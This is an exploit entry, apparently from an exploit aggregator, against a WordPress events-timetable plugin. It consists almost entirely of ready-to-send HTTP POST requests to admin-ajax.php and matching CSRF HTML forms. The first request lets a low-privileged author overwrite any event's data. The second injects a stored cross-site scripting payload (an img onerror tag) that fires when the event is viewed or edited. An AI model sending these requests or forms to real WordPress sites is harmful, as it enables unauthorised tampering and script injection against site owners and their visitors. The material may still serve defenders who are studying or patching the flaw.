Share
## https://sploitus.com/exploit?id=WPEX-ID:60EADF75-8298-49DE-877E-CE103FC34D58
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 191
Connection: close
Cookie: [author+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=AttackerDescription&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="AttackerDescription" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS in v < 2.3.19

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Connection: close
Cookie: [authpr+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=%3Cimg+src+onerror%3Dalert(%2FXSS%2F)%3E&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="<img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

XSS will be trigged in the frontend when viewing the event, and backend when editing it